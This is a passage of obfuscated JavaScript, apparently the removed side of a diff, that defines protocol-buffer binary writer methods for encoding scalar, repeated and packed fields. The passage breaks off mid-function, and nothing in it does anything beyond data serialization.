- _0x50cca3.prototype.writeSint64String = _0x50cca3.prototype.Zd;
- _0x50cca3.prototype.Pa = function (_0x304d00, _0x56633e) {
- null != _0x56633e && (_0x53e92a(0 <= _0x56633e && 4294967296 > _0x56633e), _0x2e76ae(this, _0x304d00, 5), this.a.s(_0x56633e));
- };
- _0x50cca3.prototype.writeFixed32 = _0x50cca3.prototype.Pa;
- _0x50cca3.prototype.Qa = function (_0x17454a, _0x52acd1) {
- null != _0x52acd1 && (_0x53e92a(0 <= _0x52acd1 && 18446744073709552000 > _0x52acd1), _0x2e76ae(this, _0x17454a, 1), this.a.V(_0x52acd1));
- };
- _0x50cca3.prototype.writeFixed64 = _0x50cca3.prototype.Qa;
- _0x50cca3.prototype.nb = function (_0x6dc920, _0x43f821) {
- null != _0x43f821 && (_0x43f821 = _0x5b0b36(_0x43f821), _0x2e76ae(this, _0x6dc920, 1), this.a.A(_0x43f821.lo, _0x43f821.hi));
- };
- _0x50cca3.prototype.writeFixed64String = _0x50cca3.prototype.nb;
- _0x50cca3.prototype.Ra = function (_0x120de7, _0x4ab8d9) {
- null != _0x4ab8d9 && (_0x53e92a(-2147483648 <= _0x4ab8d9 && 2147483648 > _0x4ab8d9), _0x2e76ae(this, _0x120de7, 5), this.a.S(_0x4ab8d9));
- };
- _0x50cca3.prototype.writeSfixed32 = _0x50cca3.prototype.Ra;
- _0x50cca3.prototype.Sa = function (_0xa5c1de, _0xcfcb53) {
- null != _0xcfcb53 && (_0x53e92a(-9223372036854776000 <= _0xcfcb53 && 9223372036854776000 > _0xcfcb53), _0x2e76ae(this, _0xa5c1de, 1), this.a.T(_0xcfcb53));
- };
- _0x50cca3.prototype.writeSfixed64 = _0x50cca3.prototype.Sa;
- _0x50cca3.prototype.qb = function (_0x4f1320, _0x393c68) {
- null != _0x393c68 && (_0x393c68 = _0x5e6e15(_0x393c68), _0x2e76ae(this, _0x4f1320, 1), this.a.A(_0x393c68.lo, _0x393c68.hi));
- };
- _0x50cca3.prototype.writeSfixed64String = _0x50cca3.prototype.qb;
- _0x50cca3.prototype.L = function (_0x4c22c2, _0x3b65e5) {
- null != _0x3b65e5 && (_0x2e76ae(this, _0x4c22c2, 5), this.a.L(_0x3b65e5));
- };
- _0x50cca3.prototype.writeFloat = _0x50cca3.prototype.L;
- _0x50cca3.prototype.J = function (_0x125867, _0x20532c) {
- null != _0x20532c && (_0x2e76ae(this, _0x125867, 1), this.a.J(_0x20532c));
- };
- _0x50cca3.prototype.writeDouble = _0x50cca3.prototype.J;
- _0x50cca3.prototype.I = function (_0x5b709c, _0x1d5224) {
- null != _0x1d5224 && (_0x53e92a("boolean" == typeof _0x1d5224 || "number" == typeof _0x1d5224), _0x2e76ae(this, _0x5b709c, 0), this.a.I(_0x1d5224));
- };
- _0x50cca3.prototype.writeBool = _0x50cca3.prototype.I;
- _0x50cca3.prototype.R = function (_0x2741d9, _0x4348da) {
- null != _0x4348da && (_0x53e92a(-2147483648 <= _0x4348da && 2147483648 > _0x4348da), _0x2e76ae(this, _0x2741d9, 0), this.a.M(_0x4348da));
- };
- _0x50cca3.prototype.writeEnum = _0x50cca3.prototype.R;
- _0x50cca3.prototype.U = function (_0x44cc51, _0x299bec) {
- null != _0x299bec && (_0x44cc51 = _0x1fe6a9(this, _0x44cc51), this.a.U(_0x299bec), _0x550d3f(this, _0x44cc51));
- };
- _0x50cca3.prototype.writeString = _0x50cca3.prototype.U;
- _0x50cca3.prototype.ja = function (_0x9cfa07, _0x660377) {
- null != _0x660377 && (_0x660377 = _0xe55fb2(_0x660377), _0x2e76ae(this, _0x9cfa07, 2), this.a.j(_0x660377.length), _0x3a6916(this, _0x660377));
- };
- _0x50cca3.prototype.writeBytes = _0x50cca3.prototype.ja;
- _0x50cca3.prototype.Rc = function (_0x5004a0, _0x56abd1, _0x551e1e) {
- null != _0x56abd1 && (_0x5004a0 = _0x1fe6a9(this, _0x5004a0), _0x551e1e(_0x56abd1, this), _0x550d3f(this, _0x5004a0));
- };
- _0x50cca3.prototype.writeMessage = _0x50cca3.prototype.Rc;
- _0x50cca3.prototype.Sc = function (_0x5574cc, _0x460bfb, _0x3d6cfa) {
- null != _0x460bfb && (_0x2e76ae(this, 1, 3), _0x2e76ae(this, 2, 0), this.a.M(_0x5574cc), _0x5574cc = _0x1fe6a9(this, 3), _0x3d6cfa(_0x460bfb, this), _0x550d3f(this, _0x5574cc), _0x2e76ae(this, 1, 4));
- };
- _0x50cca3.prototype.writeMessageSet = _0x50cca3.prototype.Sc;
- _0x50cca3.prototype.Oc = function (_0x1058b9, _0x32c8c7, _0x2a19af) {
- null != _0x32c8c7 && (_0x2e76ae(this, _0x1058b9, 3), _0x2a19af(_0x32c8c7, this), _0x2e76ae(this, _0x1058b9, 4));
- };
- _0x50cca3.prototype.writeGroup = _0x50cca3.prototype.Oc;
- _0x50cca3.prototype.K = function (_0x2def2f, _0x41a3bb) {
- null != _0x41a3bb && (_0x53e92a(8 == _0x41a3bb.length), _0x2e76ae(this, _0x2def2f, 1), this.a.K(_0x41a3bb));
- };
- _0x50cca3.prototype.writeFixedHash64 = _0x50cca3.prototype.K;
- _0x50cca3.prototype.N = function (_0x18d711, _0x180317) {
- null != _0x180317 && (_0x53e92a(8 == _0x180317.length), _0x2e76ae(this, _0x18d711, 0), this.a.N(_0x180317));
- };
- _0x50cca3.prototype.writeVarintHash64 = _0x50cca3.prototype.N;
- _0x50cca3.prototype.A = function (_0x3fd479, _0x19495e, _0x1bfb39) {
- _0x2e76ae(this, _0x3fd479, 1);
- this.a.A(_0x19495e, _0x1bfb39);
- };
- _0x50cca3.prototype.writeSplitFixed64 = _0x50cca3.prototype.A;
- _0x50cca3.prototype.l = function (_0xfef7f2, _0x48ffac, _0xe3748a) {
- _0x2e76ae(this, _0xfef7f2, 0);
- this.a.l(_0x48ffac, _0xe3748a);
- };
- _0x50cca3.prototype.writeSplitVarint64 = _0x50cca3.prototype.l;
- _0x50cca3.prototype.tb = function (_0x4c594a, _0x219fd3, _0x307f0d) {
- _0x2e76ae(this, _0x4c594a, 0);
- var _0x58906c = this.a;
- _0xe645bc(_0x219fd3, _0x307f0d, function (_0x21c159, _0x39363e) {
- _0x58906c.l(_0x21c159 >>> 0, _0x39363e >>> 0);
- });
- };
- _0x50cca3.prototype.writeSplitZigzagVarint64 = _0x50cca3.prototype.tb;
- _0x50cca3.prototype.Ed = function (_0x319c6b, _0x581c03) {
- if (null != _0x581c03) {
- for (var _0x59e82f = 0; _0x59e82f < _0x581c03.length; _0x59e82f++) {
- _0xc04e93(this, _0x319c6b, _0x581c03[_0x59e82f]);
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedInt32 = _0x50cca3.prototype.Ed;
- _0x50cca3.prototype.Fd = function (_0x13a0c2, _0x4a46b5) {
- if (null != _0x4a46b5) {
- for (var _0x6b1307 = 0; _0x6b1307 < _0x4a46b5.length; _0x6b1307++) {
- this.ob(_0x13a0c2, _0x4a46b5[_0x6b1307]);
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedInt32String = _0x50cca3.prototype.Fd;
- _0x50cca3.prototype.Gd = function (_0x2827b3, _0x26fddb) {
- if (null != _0x26fddb) {
- for (var _0x2da255 = 0; _0x2da255 < _0x26fddb.length; _0x2da255++) {
- var _0x3657ff = _0x26fddb[_0x2da255];
- null != _0x3657ff && (_0x2e76ae(this, _0x2827b3, 0), this.a.ua(_0x3657ff));
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedInt64 = _0x50cca3.prototype.Gd;
- _0x50cca3.prototype.Qd = function (_0x37e38c, _0x411d50, _0xd2acaf, _0x56ba6e) {
- if (null != _0x411d50) {
- for (var _0x49d5c9 = 0; _0x49d5c9 < _0x411d50.length; _0x49d5c9++) {
- this.A(_0x37e38c, _0xd2acaf(_0x411d50[_0x49d5c9]), _0x56ba6e(_0x411d50[_0x49d5c9]));
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedSplitFixed64 = _0x50cca3.prototype.Qd;
- _0x50cca3.prototype.Rd = function (_0x2ef668, _0xcab035, _0x16dbfc, _0x556b6c) {
- if (null != _0xcab035) {
- for (var _0x29478c = 0; _0x29478c < _0xcab035.length; _0x29478c++) {
- this.l(_0x2ef668, _0x16dbfc(_0xcab035[_0x29478c]), _0x556b6c(_0xcab035[_0x29478c]));
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedSplitVarint64 = _0x50cca3.prototype.Rd;
- _0x50cca3.prototype.Sd = function (_0x3b908f, _0x5bd5ad, _0x423fb2, _0x3543a9) {
- if (null != _0x5bd5ad) {
- for (var _0x538779 = 0; _0x538779 < _0x5bd5ad.length; _0x538779++) {
- this.tb(_0x3b908f, _0x423fb2(_0x5bd5ad[_0x538779]), _0x3543a9(_0x5bd5ad[_0x538779]));
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedSplitZigzagVarint64 = _0x50cca3.prototype.Sd;
- _0x50cca3.prototype.Hd = function (_0x19aa82, _0x5693fc) {
- if (null != _0x5693fc) {
- for (var _0x1833f8 = 0; _0x1833f8 < _0x5693fc.length; _0x1833f8++) {
- this.ka(_0x19aa82, _0x5693fc[_0x1833f8]);
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedInt64String = _0x50cca3.prototype.Hd;
- _0x50cca3.prototype.Ud = function (_0x3e35f9, _0x5e227f) {
- if (null != _0x5e227f) {
- for (var _0x5e9408 = 0; _0x5e9408 < _0x5e227f.length; _0x5e9408++) {
- _0x904cb0(this, _0x3e35f9, _0x5e227f[_0x5e9408]);
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedUint32 = _0x50cca3.prototype.Ud;
- _0x50cca3.prototype.Vd = function (_0x4b2cc3, _0x2f1d1c) {
- if (null != _0x2f1d1c) {
- for (var _0x189dc9 = 0; _0x189dc9 < _0x2f1d1c.length; _0x189dc9++) {
- this.ub(_0x4b2cc3, _0x2f1d1c[_0x189dc9]);
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedUint32String = _0x50cca3.prototype.Vd;
- _0x50cca3.prototype.Wd = function (_0x435b52, _0x392ff9) {
- if (null != _0x392ff9) {
- for (var _0x4fa7dc = 0; _0x4fa7dc < _0x392ff9.length; _0x4fa7dc++) {
- var _0x250f3e = _0x392ff9[_0x4fa7dc];
- null != _0x250f3e && (_0x2e76ae(this, _0x435b52, 0), this.a.va(_0x250f3e));
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedUint64 = _0x50cca3.prototype.Wd;
- _0x50cca3.prototype.Xd = function (_0x1ea092, _0x491d23) {
- if (null != _0x491d23) {
- for (var _0x37819a = 0; _0x37819a < _0x491d23.length; _0x37819a++) {
- this.vb(_0x1ea092, _0x491d23[_0x37819a]);
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedUint64String = _0x50cca3.prototype.Xd;
- _0x50cca3.prototype.Md = function (_0x4bb751, _0xcc8704) {
- if (null != _0xcc8704) {
- for (var _0x283bd2 = 0; _0x283bd2 < _0xcc8704.length; _0x283bd2++) {
- var _0xba1544 = _0xcc8704[_0x283bd2];
- null != _0xba1544 && (_0x2e76ae(this, _0x4bb751, 0), this.a.wa(_0xba1544));
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedSint32 = _0x50cca3.prototype.Md;
- _0x50cca3.prototype.Nd = function (_0x546370, _0x3e171b) {
- if (null != _0x3e171b) {
- for (var _0x4723fa = 0; _0x4723fa < _0x3e171b.length; _0x4723fa++) {
- var _0x37b6d6 = _0x3e171b[_0x4723fa];
- null != _0x37b6d6 && (_0x2e76ae(this, _0x546370, 0), this.a.xa(_0x37b6d6));
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedSint64 = _0x50cca3.prototype.Nd;
- _0x50cca3.prototype.Od = function (_0x1ef299, _0x43c63e) {
- if (null != _0x43c63e) {
- for (var _0x4fd1fc = 0; _0x4fd1fc < _0x43c63e.length; _0x4fd1fc++) {
- var _0x26ab55 = _0x43c63e[_0x4fd1fc];
- null != _0x26ab55 && (_0x2e76ae(this, _0x1ef299, 0), this.a.Ta(_0x26ab55));
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedSint64String = _0x50cca3.prototype.Od;
- _0x50cca3.prototype.Pd = function (_0x419e25, _0x12e9dd) {
- if (null != _0x12e9dd) {
- for (var _0x57d788 = 0; _0x57d788 < _0x12e9dd.length; _0x57d788++) {
- var _0x28cda4 = _0x12e9dd[_0x57d788];
- null != _0x28cda4 && (_0x2e76ae(this, _0x419e25, 0), this.a.W(_0x28cda4));
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedSintHash64 = _0x50cca3.prototype.Pd;
- _0x50cca3.prototype.yd = function (_0x2383d, _0x3052f8) {
- if (null != _0x3052f8) {
- for (var _0xc74921 = 0; _0xc74921 < _0x3052f8.length; _0xc74921++) {
- this.Pa(_0x2383d, _0x3052f8[_0xc74921]);
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedFixed32 = _0x50cca3.prototype.yd;
- _0x50cca3.prototype.zd = function (_0x34b24f, _0x581af0) {
- if (null != _0x581af0) {
- for (var _0x5b5b5b = 0; _0x5b5b5b < _0x581af0.length; _0x5b5b5b++) {
- this.Qa(_0x34b24f, _0x581af0[_0x5b5b5b]);
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedFixed64 = _0x50cca3.prototype.zd;
- _0x50cca3.prototype.Ad = function (_0x9f4b4d, _0x5d9f06) {
- if (null != _0x5d9f06) {
- for (var _0x30911a = 0; _0x30911a < _0x5d9f06.length; _0x30911a++) {
- this.nb(_0x9f4b4d, _0x5d9f06[_0x30911a]);
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedFixed64String = _0x50cca3.prototype.Ad;
- _0x50cca3.prototype.Jd = function (_0x422847, _0x47a05b) {
- if (null != _0x47a05b) {
- for (var _0x33324f = 0; _0x33324f < _0x47a05b.length; _0x33324f++) {
- this.Ra(_0x422847, _0x47a05b[_0x33324f]);
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedSfixed32 = _0x50cca3.prototype.Jd;
- _0x50cca3.prototype.Kd = function (_0x273cdb, _0x1d303e) {
- if (null != _0x1d303e) {
- for (var _0x310507 = 0; _0x310507 < _0x1d303e.length; _0x310507++) {
- this.Sa(_0x273cdb, _0x1d303e[_0x310507]);
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedSfixed64 = _0x50cca3.prototype.Kd;
- _0x50cca3.prototype.Ld = function (_0x4ba6e6, _0x15d5a5) {
- if (null != _0x15d5a5) {
- for (var _0x55fa36 = 0; _0x55fa36 < _0x15d5a5.length; _0x55fa36++) {
- this.qb(_0x4ba6e6, _0x15d5a5[_0x55fa36]);
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedSfixed64String = _0x50cca3.prototype.Ld;
- _0x50cca3.prototype.Cd = function (_0x3c11a6, _0x2bb76a) {
- if (null != _0x2bb76a) {
- for (var _0x5a9477 = 0; _0x5a9477 < _0x2bb76a.length; _0x5a9477++) {
- this.L(_0x3c11a6, _0x2bb76a[_0x5a9477]);
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedFloat = _0x50cca3.prototype.Cd;
- _0x50cca3.prototype.wd = function (_0x30a2f7, _0x3dd643) {
- if (null != _0x3dd643) {
- for (var _0x431da3 = 0; _0x431da3 < _0x3dd643.length; _0x431da3++) {
- this.J(_0x30a2f7, _0x3dd643[_0x431da3]);
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedDouble = _0x50cca3.prototype.wd;
- _0x50cca3.prototype.ud = function (_0x30453f, _0x4a9caa) {
- if (null != _0x4a9caa) {
- for (var _0x5ea53d = 0; _0x5ea53d < _0x4a9caa.length; _0x5ea53d++) {
- this.I(_0x30453f, _0x4a9caa[_0x5ea53d]);
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedBool = _0x50cca3.prototype.ud;
- _0x50cca3.prototype.xd = function (_0x48d9e0, _0x529e67) {
- if (null != _0x529e67) {
- for (var _0x134450 = 0; _0x134450 < _0x529e67.length; _0x134450++) {
- this.R(_0x48d9e0, _0x529e67[_0x134450]);
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedEnum = _0x50cca3.prototype.xd;
- _0x50cca3.prototype.Td = function (_0x54d1d7, _0x15d32c) {
- if (null != _0x15d32c) {
- for (var _0x28b873 = 0; _0x28b873 < _0x15d32c.length; _0x28b873++) {
- this.U(_0x54d1d7, _0x15d32c[_0x28b873]);
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedString = _0x50cca3.prototype.Td;
- _0x50cca3.prototype.vd = function (_0x1cbad3, _0x59247a) {
- if (null != _0x59247a) {
- for (var _0x1f3ecc = 0; _0x1f3ecc < _0x59247a.length; _0x1f3ecc++) {
- this.ja(_0x1cbad3, _0x59247a[_0x1f3ecc]);
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedBytes = _0x50cca3.prototype.vd;
- _0x50cca3.prototype.Id = function (_0x2692eb, _0x51030b, _0x2d850d) {
- if (null != _0x51030b) {
- for (var _0x5c06ec = 0; _0x5c06ec < _0x51030b.length; _0x5c06ec++) {
- var _0x5430d6 = _0x1fe6a9(this, _0x2692eb);
- _0x2d850d(_0x51030b[_0x5c06ec], this);
- _0x550d3f(this, _0x5430d6);
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedMessage = _0x50cca3.prototype.Id;
- _0x50cca3.prototype.Dd = function (_0x57aacb, _0x4afc51, _0x576e28) {
- if (null != _0x4afc51) {
- for (var _0x5a6833 = 0; _0x5a6833 < _0x4afc51.length; _0x5a6833++) {
- _0x2e76ae(this, _0x57aacb, 3);
- _0x576e28(_0x4afc51[_0x5a6833], this);
- _0x2e76ae(this, _0x57aacb, 4);
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedGroup = _0x50cca3.prototype.Dd;
- _0x50cca3.prototype.Bd = function (_0x3b5899, _0x25e199) {
- if (null != _0x25e199) {
- for (var _0x228739 = 0; _0x228739 < _0x25e199.length; _0x228739++) {
- this.K(_0x3b5899, _0x25e199[_0x228739]);
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedFixedHash64 = _0x50cca3.prototype.Bd;
- _0x50cca3.prototype.Yd = function (_0x1fd865, _0x2454bb) {
- if (null != _0x2454bb) {
- for (var _0x43b165 = 0; _0x43b165 < _0x2454bb.length; _0x43b165++) {
- this.N(_0x1fd865, _0x2454bb[_0x43b165]);
- }
- }
- };
- _0x50cca3.prototype.writeRepeatedVarintHash64 = _0x50cca3.prototype.Yd;
- _0x50cca3.prototype.ad = function (_0x143d50, _0x5ea61b) {
- if (null != _0x5ea61b && _0x5ea61b.length) {
- _0x143d50 = _0x1fe6a9(this, _0x143d50);
- for (var _0x26d013 = 0; _0x26d013 < _0x5ea61b.length; _0x26d013++) {
- this.a.M(_0x5ea61b[_0x26d013]);
- }
- _0x550d3f(this, _0x143d50);
- }
- };
- _0x50cca3.prototype.writePackedInt32 = _0x50cca3.prototype.ad;
- _0x50cca3.prototype.bd = function (_0x3b52a6, _0xbeceb0) {
- if (null != _0xbeceb0 && _0xbeceb0.length) {
- _0x3b52a6 = _0x1fe6a9(this, _0x3b52a6);
- for (var _0x48ffbc = 0; _0x48ffbc < _0xbeceb0.length; _0x48ffbc++) {
- this.a.M(parseInt(_0xbeceb0[_0x48ffbc], 10));
- }
- _0x550d3f(this, _0x3b52a6);
- }
- };
- _0x50cca3.prototype.writePackedInt32String = _0x50cca3.prototype.bd;
- _0x50cca3.prototype.cd = function (_0x5c79e6, _0x381c02) {
- if (null != _0x381c02 && _0x381c02.length) {
- _0x5c79e6 = _0x1fe6a9(this, _0x5c79e6);
- for (var _0x1f9e04 = 0; _0x1f9e04 < _0x381c02.length; _0x1f9e04++) {
- this.a.ua(_0x381c02[_0x1f9e04]);
- }
- _0x550d3f(this, _0x5c79e6);
- }
- };
- _0x50cca3.prototype.writePackedInt64 = _0x50cca3.prototype.cd;
- _0x50cca3.prototype.md = function (_0x3bbbb2, _0xc8b826, _0x16404e, _0x2e2fba) {
- if (null != _0xc8b826) {
- _0x3bbbb2 = _0x1fe6a9(this, _0x3bbbb2);
- for (var _0x5b9428 = 0; _0x5b9428 < _0xc8b826.length; _0x5b9428++) {
- this.a.A(_0x16404e(_0xc8b826[_0x5b9428]), _0x2e2fba(_0xc8b826[_0x5b9428]));
- }
- _0x550d3f(this, _0x3bbbb2);
- }
- };
- _0x50cca3.prototype.writePackedSplitFixed64 = _0x50cca3.prototype.md;
- _0x50cca3.prototype.nd = function (_0x317eb5, _0x4c9fed, _0x4c8be4, _0xb2e4b9) {
- if (null != _0x4c9fed) {
- _0x317eb5 = _0x1fe6a9(this, _0x317eb5);
- for (var _0x29388a = 0; _0x29388a < _0x4c9fed.length; _0x29388a++) {
- this.a.l(_0x4c8be4(_0x4c9fed[_0x29388a]), _0xb2e4b9(_0x4c9fed[_0x29388a]));
- }
- _0x550d3f(this, _0x317eb5);
- }
- };
- _0x50cca3.prototype.writePackedSplitVarint64 = _0x50cca3.prototype.nd;
- _0x50cca3.prototype.od = function (_0x2ec1d4, _0x3c8358, _0x3f48d1, _0x3c2f37) {
- if (null != _0x3c8358) {
- _0x2ec1d4 = _0x1fe6a9(this, _0x2ec1d4);
- for (var _0x26e667 = this.a, _0x15d6e7 = 0; _0x15d6e7 < _0x3c8358.length; _0x15d6e7++) {
- _0xe645bc(_0x3f48d1(_0x3c8358[_0x15d6e7]), _0x3c2f37(_0x3c8358[_0x15d6e7]), function (_0x1b925d, _0x55cfc3) {
- _0x26e667.l(_0x1b925d >>> 0, _0x55cfc3 >>> 0);
- });
- }
- _0x550d3f(this, _0x2ec1d4);
- }
- };
- _0x50cca3.prototype.writePackedSplitZigzagVarint64 = _0x50cca3.prototype.od;
- _0x50cca3.prototype.dd = function (_0xe1336f, _0x4a022b) {
- if (null != _0x4a022b && _0x4a022b.length) {
- _0xe1336f = _0x1fe6a9(this, _0xe1336f);
- for (var _0x1a5dc9 = 0; _0x1a5dc9 < _0x4a022b.length; _0x1a5dc9++) {
- var _0x52ceab = _0x5e6e15(_0x4a022b[_0x1a5dc9]);
- this.a.l(_0x52ceab.lo, _0x52ceab.hi);
- }
- _0x550d3f(this, _0xe1336f);
- }
- };
- _0x50cca3.prototype.writePackedInt64String = _0x50cca3.prototype.dd;
- _0x50cca3.prototype.pd = function (_0x453ec2, _0x515ca1) {
- if (null != _0x515ca1 && _0x515ca1.length) {
- _0x453ec2 = _0x1fe6a9(this, _0x453ec2);
- for (var _0x2dc272 = 0; _0x2dc272 < _0x515ca1.length; _0x2dc272++) {
- this.a.j(_0x515ca1[_0x2dc272]);
- }
- _0x550d3f(this, _0x453ec2);
- }
- };
- _0x50cca3.prototype.writePackedUint32 = _0x50cca3.prototype.pd;
- _0x50cca3.prototype.qd = function (_0x15fed7, _0x54b903) {
- if (null != _0x54b903 && _0x54b903.length) {
- _0x15fed7 = _0x1fe6a9(this, _0x15fed7);
- for (var _0x490f9d = 0; _0x490f9d < _0x54b903.length; _0x490f9d++) {
- this.a.j(parseInt(_0x54b903[_0x490f9d], 10));
- }
- _0x550d3f(this, _0x15fed7);
- }
- };
- _0x50cca3.prototype.writePackedUint32String = _0x50cca3.prototype.qd;
- _0x50cca3.prototype.rd = function (_0x2110ec, _0x597b92) {
- if (null != _0x597b92 && _0x597b92.length) {
- _0x2110ec = _0x1fe6a9(this, _0x2110ec);
- for (var _0x3b5030 = 0; _0x3b5030 < _0x597b92.length; _0x3b5030++) {
- this.a.va(_0x597b92[_0x3b5030]);
- }
- _0x550d3f(this, _0x2110ec);
- }
- };
- _0x50cca3.prototype.writePackedUint64 = _0x50cca3.prototype.rd;
- _0x50cca3.prototype.sd = function (_0xe05255, _0x5d37c5) {
- if (null != _0x5d37c5 && _0x5d37c5.length) {
- _0xe05255 = _0x1fe6a9(this, _0xe05255);
- for (var _0x31c58c = 0; _0x31c58c < _0x5d37c5.length; _0x31c58c++) {
- var _0x1b7b17 = _0x5b0b36(_0x5d37c5[_0x31c58c]);
- this.a.l(_0x1b7b17.lo, _0x1b7b17.hi);
- }
- _0x550d3f(this, _0xe05255);
- }
- };
- _0x50cca3.prototype.writePackedUint64String = _0x50cca3.prototype.sd;
- _0x50cca3.prototype.hd = function (_0x196936, _0x3bee43) {
- if (null != _0x3bee43 && _0x3bee43.length) {
- _0x196936 = _0x1fe6a9(this, _0x196936);
- for (var _0x405d62 = 0; _0x405d62 < _0x3bee43.length; _0x405d62++) {
- this.a.wa(_0x3bee43[_0x405d62]);
- }
- _0x550d3f(this, _0x196936);
- }
- };
- _0x50cca3.prototype.writePackedSint32 = _0x50cca3.prototype.hd;
- _0x50cca3.prototype.jd = function (_0x426c2e, _0xf9334e) {
- if (null != _0xf9334e && _0xf9334e.length) {
- _0x426c2e = _0x1fe6a9(this, _0x426c2e);
- for (var _0x40277e = 0; _0x40277e < _0xf9334e.length; _0x40277e++) {
- this.a.xa(_0xf9334e[_0x40277e]);
- }
- _0x550d3f(this, _0x426c2e);
- }
- };
- _0x50cca3.prototype.writePackedSint64 = _0x50cca3.prototype.jd;
- _0x50cca3.prototype.kd = function (_0xdbb790, _0x2335df) {
- if (null != _0x2335df && _0x2335df.length) {
- _0xdbb790 = _0x1fe6a9(this, _0xdbb790);
- for (var _0x41ade9 = 0; _0x41ade9 < _0x2335df.length; _0x41ade9++) {
- this.a.W(_0x1700f3(_0x2335df[_0x41ade9]));
- }
- _0x550d3f(this, _0xdbb790);
- }
- };
- _0x50cca3.prototype.writePackedSint64String = _0x50cca3.prototype.kd;
- _0x50cca3.prototype.ld = function (_0x2f17ca, _0x1db89f) {
- if (null != _0x1db89f && _0x1db89f.length) {
- _0x2f17ca = _0x1fe6a9(this, _0x2f17ca);
- for (var _0x336c11 = 0; _0x336c11 < _0x1db89f.length; _0x336c11++) {
- this.a.W(_0x1db89f[_0x336c11]);
- }
- _0x550d3f(this, _0x2f17ca);
- }
- };
- _0x50cca3.prototype.writePackedSintHash64 = _0x50cca3.prototype.ld;
- _0x50cca3.prototype.Wc = function (_0x592076, _0x57868a) {
- if (null != _0x57868a && _0x57868a.length) {
- for (_0x2e76ae(this, _0x592076, 2), this.a.j(4 * _0x57868a.length), _0x592076 = 0; _0x592076 < _0x57868a.length; _0x592076++) {
- this.a.s(_0x57868a[_0x592076]);
- }
- }
- };
- _0x50cca3.prototype.writePackedFixed32 = _0x50cca3.prototype.Wc;
- _0x50cca3.prototype.Xc = function (_0x24dfed, _0x2f48a4) {
- if (null != _0x2f48a4 && _0x2f48a4.length) {
- for (_0x2e76ae(this, _0x24dfed, 2), this.a.j(8 * _0x2f48a4.length), _0x24dfed = 0; _0x24dfed < _0x2f48a4.length; _0x24dfed++) {
- this.a.V(_0x2f48a4[_0x24dfed]);
- }
- }
- };
- _0x50cca3.prototype.writePackedFixed64 = _0x50cca3.prototype.Xc;
- _0x50cca3.prototype.Yc = function (_0x362a70, _0x168b87) {
- if (null != _0x168b87 && _0x168b87.length) {
- for (_0x2e76ae(this, _0x362a70, 2), this.a.j(8 * _0x168b87.length), _0x362a70 = 0; _0x362a70 < _0x168b87.length; _0x362a70++) {
- var _0x485b0f = _0x5b0b36(_0x168b87[_0x362a70]);
- this.a.A(_0x485b0f.lo, _0x485b0f.hi);
- }
- }
- };
- _0x50cca3.prototype.writePackedFixed64String = _0x50cca3.prototype.Yc;
- _0x50cca3.prototype.ed = function (_0x4101b6, _0x13f0b7) {
- if (null != _0x13f0b7 && _0x13f0b7.length) {
- for (_0x2e76ae(this, _0x4101b6, 2), this.a.j(4 * _0x13f0b7.length), _0x4101b6 = 0; _0x4101b6 < _0x13f0b7.length; _0x4101b6++) {
- this.a.S(_0x13f0b7[_0x4101b6]);
- }
- }
- };
- _0x50cca3.prototype.writePackedSfixed32 = _0x50cca3.prototype.ed;
- _0x50cca3.prototype.fd = function (_0x2b7fde, _0x1b0818) {
- if (null != _0x1b0818 && _0x1b0818.length) {
- for (_0x2e76ae(this, _0x2b7fde, 2), this.a.j(8 * _0x1b0818.length), _0x2b7fde = 0; _0x2b7fde < _0x1b0818.length; _0x2b7fde++) {
- this.a.T(_0x1b0818[_0x2b7fde]);
- }
- }
- };
- _0x50cca3.prototype.writePackedSfixed64 = _0x50cca3.prototype.fd;
- _0x50cca3.prototype.gd = function (_0x33e353, _0x474e25) {
- if (null != _0x474e25 && _0x474e25.length) {
- for (_0x2e76ae(this, _0x33e353, 2), this.a.j(8 * _0x474e25.length), _0x33e353 = 0; _0x33e353 < _0x474e25.length; _0x33e353++) {
- this.a.ka(_0x474e25[_0x33e353]);
- }
- }
- };
- _0x50cca3.prototype.writePackedSfixed64String = _0x50cca3.prototype.gd;
- _0x50cca3.prototype.$c = function (_0x5c3e0e, _0x179dad) {
- if (null != _0x179dad && _0x179dad.length) {
- for (_0x2e76ae(this, _0x5c3e0e, 2), this.a.j(4 * _0x179dad.length), _0x5c3e0e = 0; _0x5c3e0e < _0x179dad.length; _0x5c3e0e++) {
- this.a.L(_0x179dad[_0x5c3e0e]);
- }
- }
- };
- _0x50cca3.prototype.writePackedFloat = _0x50cca3.prototype.$c;
- _0x50cca3.prototype.Uc = function (_0x59b4e5, _0x220ecb) {
- if (null != _0x220ecb && _0x220ecb.length) {
- for (_0x2e76ae(this, _0x59b4e5, 2), this.a.j(8 * _0x220ecb.length), _0x59b4e5 = 0; _0x59b4e5 < _0x220ecb.length; _0x59b4e5++) {
- this.a.J(_0x220ecb[_0x59b4e5]);
- }
- }
- };
- _0x50cca3.prototype.writePackedDouble = _0x50cca3.prototype.Uc;
- _0x50cca3.prototype.Tc = function (_0x3dddf7, _0x9f9201) {
- if (null != _0x9f9201 && _0x9f9201.length) {
